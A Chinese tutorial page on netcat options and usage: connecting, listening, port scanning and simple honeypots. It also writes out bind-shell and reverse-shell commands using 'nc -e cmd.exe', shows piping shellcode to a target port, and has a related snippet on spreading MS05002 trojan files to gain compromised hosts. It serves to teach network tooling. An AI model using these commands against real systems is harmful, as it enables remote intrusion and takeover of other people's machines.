nc(瑞士军刀)的详细使用

参考资料:程序原创者Hobbit与Chris Wysopal的说明文档、G-python、黑猫警长、Quack、zhoutree等各位高手的文章

netcat被誉为网络安全界的'瑞士军刀',相信没有什么人不认识它吧......
一个简单而有用的工具,透过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门工具,
能够直接由其它程序和脚本轻松驱动。同时,它也是一个功能强大的网络调试和探测工具,能够建立你需要的几乎所有类型的网络连接,还有几个很有意思的内置功能(详情请看下面的使用方法)。

在中国,它的WINDOWS版有两个版本,一个是原创者Chris Wysopal写的原版本,另一个是由'红与黑'编译
后的新'浓缩'版。'浓缩'版的主程序只有10多KB(10多KB的NC是不能完成下面所说的第4、第5种使用方法,
有此功能的原版NC好象要60KB:P),虽然"体积"小,但很完成很多工作。
<!--StartFragment-->=====================================================================================================
软件介绍:

工具名:Netcat
作者:Hobbit && Chris Wysopal
网址:http://www.atstake.com/research/tools/network_utilities/
类别:开放源码
平台:Linux/BSD/Unix/Windows
WINDOWS下版本号:[v1.10 NT]

=====================================================================================================
参数介绍:

'nc.exe -h'即可看到各参数的使用方法。
基本格式:nc [-options] hostname port[s] [ports] ...
nc -l -p port [options] [hostname] [port]

-d 后台模式
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-L 连接关闭后,仍然继续监听
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 随机本地及远程端口
-s addr 本地源地址
-t 使用TELNET交互方式
-u UDP模式
-v 详细输出--用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉--用于扫描时

端口的表示方法可写为M-N的范围格式。

=====================================================================================================
基本用法:

大概有以下几种用法:

1)连接到REMOTE主机,例子:
格式:nc -nvv 192.168.x.x 80
讲解:连到192.168.x.x的TCP80端口

2)监听LOCAL主机,例子:
格式:nc -l -p 80
讲解:监听本机的TCP80端口

3)扫描远程主机,例子:
格式:nc -nvv -w2 -z 192.168.x.x 80-445
讲解:扫描192.168.x.x的TCP80到TCP445的所有端口

4)REMOTE主机绑定SHELL,例子:
格式:nc -l -p 5354 -t -e c:/winnt/system32/cmd.exe
讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口

5)REMOTE主机绑定SHELL并反向连接,例子:
格式:nc -t -e c:/winnt/system32/cmd.exe 192.168.x.x 5354
讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口

以上为最基本的几种用法(其实NC的用法还有很多,
当配合管道命令"|"与重定向命令"<"、">"等等命令功能更强大......)。

=====================================================================================================
高级用法:

6)作攻击程序用,例子:
格式1:type.exe c:/exploit.txt|nc -nvv 192.168.x.x 80
格式2:nc -nvv 192.168.x.x 80 < c:/exploit.txt
讲解:连接到192.168.x.x的80端口,并在其管道中发送'c:/exploit.txt'的内容(两种格式确有相同的效果,
真是有异曲同工之妙:P)

附:'c:/exploit.txt'为shellcode等

7)作蜜罐用[1],例子:
格式:nc -L -p 80
讲解:使用'-L'(注意L是大写)可以不停地监听某一个端口,直到ctrl+c为止

8)作蜜罐用[2],例子:
格式:nc -L -p 80 > c:/log.txt
讲解:使用'-L'可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到'c:/log.txt'中,如果把'>'
改为'>>'即可以追加日志

附:'c:/log.txt'为日志等

9)作蜜罐用[3],例子:
格式1:nc -L -p 80 < c:/honeypot.txt
格式2:type.exe c:/honeypot.txt|nc -L -p 80
讲解:使用'-L'可以不停地监听某一个端口,直到ctrl+c为止,并把'c:/honeypot.txt'的内容'送'入其
管道中

时间: 2024-11-10 07:43:53

nc(瑞士军刀)的详细使用的相关文章

黑客如何利用Ms05002溢出找“肉鸡” (图)_漏洞研究

溢出攻击永远是安全界中,不可忽视的角色.而如今也正是肉鸡短缺的年代,能掌握一门最新的Ms05002溢出,必定会让你有"惊人"的收获.至于熟练的溢出如何炼成?具体方法请见下文所示! 实施方法:通过Ms05002攻击工具,溢出反弹IP.反弹端口,会生成含有木马性质的文件.然后将这个产生的文件,以QQ传输的形式发给受害者观看,或者将其上传到自己的主页空间,引诱其他人访问.最后执行NC瑞士军刀,监听本机端口,收取已经运行产生文件的主机. 步骤1.首先从网上下载Ms05002溢出工具,释放到比较

Linux Netcat 命令——网络工具中的瑞士军刀

netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据.通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它.使用netcat命令所能完成的事情令人惊讶. netcat所做的就是在两台电脑之间建立链接并返回两个数据流,在这之后所能做的事就看你的想像力了.你能建立一个服务器,传输文件,与朋友聊天,传输流媒体或者用它作为其它协议的独立客户端. 下面是一些使用netcat的例子. [A(172.31.100.7) B(172.31.100.23)] Linux netcat

linux nc命令

参考 :http://www.linuxso.com/command/nc.html NC 全名 Netcat (网络刀),作者是 Hobbit && ChrisWysopal.因其功能十分强大,体积小巧而出名,又被大家称为"瑞士军刀".nc - TCP/IP swiss army knife nc 常用于溢出.反向链接.上传文本等.其实是一个非标准的 telnet 客户端程序.也是一个 putty.exe 客户端程序. socat 是一个 nc 的替代品,可以称为 n

CentOS小心被suid shell与inetd后门利用的详细讲解

  CentOS小心被suid shell与inetd后门利用的详细讲解           你现在已经是root用户,想留一个后门. 系统环境: dawg:~#uname-a Linuxdawg2.4.20-1-386#3SatMar2212:11:40EST2003i686GNU/Linux 1.SUIDshell 首先,先切换成为root用户,并执行以下的命令: dawg:~#cp/bin/bash/.wootdawg:~#chmod4755/.wootdawg:~#ls-al/.woot

Linux下用nc实现DuplexPipe

nc 是一把网络的瑞士军刀,我以前在介绍 DuplexPipe 时也提到过,如果你没接触过它,可以先参看一下<DuplexPipe二三事(二)>.再来简单地介绍一下 DuplexPipe,顾名思义,它是一个"双向管道".在 shell 中,我们通过"|"使用匿名管道,让前一条命令的输出作为后一条命令的输入:双向管道即在此基础上在加上"后一条命令的输入作为前一条命令的输入".这是最初开发它的原因,但后来发现它更像是一个网络接口转换器,&

powercat工具详细分析

本文讲的是powercat工具详细分析,这个工具出来两年了,但是好像很少人知道他.国外的大牛们用的比较多,国内的文章出现powercat关键字的寥寥无几,更别说有这款工具的详细用法了. 0x01  powercat简介 是NetCat 的Powershell 版本.作者的介绍也是这样写的,但是我觉得,powercat不管怎么样,也有比NetCat 强的一点,就是没有任何痕迹!来无影去无踪.关掉powershell 我们还是好朋友. 0x02 下载运行 直接克隆回本地: git clone htt

理解Docker(2):Docker 镜像详细介绍_docker

本系列文章将介绍Docker的有关知识: (1)Docker 安装及基本用法 (2)Docker 镜像 (3)Docker 容器的隔离性 - 使用 Linux namespace 隔离容器的运行环境 (4)Docker 容器的隔离性 - 使用 cgroups 限制容器使用的资源 (5)Docker 网络 对于每个软件,除了它自身的代码以外,它的运行还需要有一个运行环境和依赖.不管这个软件是象往常一样运行在物理机或者虚机之中,还是运行在现在的容器之中,这些都是不变的.在传统环境中,软件在运行之前也

Linux利用nc命令监控服务器端口的方法_Linux

最近碰到一个项目,前端用apache htttpd进行发布(80端口),通过双机负载均衡转发到后端的两个tomcat进行处理(8081和8082端口),现在需要随时监控这三个端口的情况,一旦down掉需要能够立即告警处理.批量的系统监控比较好的是用nagios软件来实现,这样小项目专门装一个nagios软件,有点繁琐了.在网上查了一些资料,总结实验了一下,可以用简单的nc命令来实现. 一.nc命令检测端口的用法# nc  -v  -w 10 %IP%   -z  %PORT%-v  显示指令执行

使用nc命令检查Linux系统远程端口是否打开

端口是与 Linux 操作系统上的应用或进程的通讯端点的逻辑实体.在使用之前,了解目标机器上哪些端口是打开并正在运行服务是非常有用的. 我们可以使用 netstat 或其他几个 Linux 命令如 NMAP 在本地机器上轻松地列出 Linux 中的打开端口. 在本指南中,我们将向你展示如何使用简单的 netcat(简称 nc)命令来确定远程主机上的端口是否可访问/打开. netcat(或简称 nc)是一个功能强大且易于使用的程序,可用于 Linux 中与 TCP.UDP 或 UNIX 域套接字相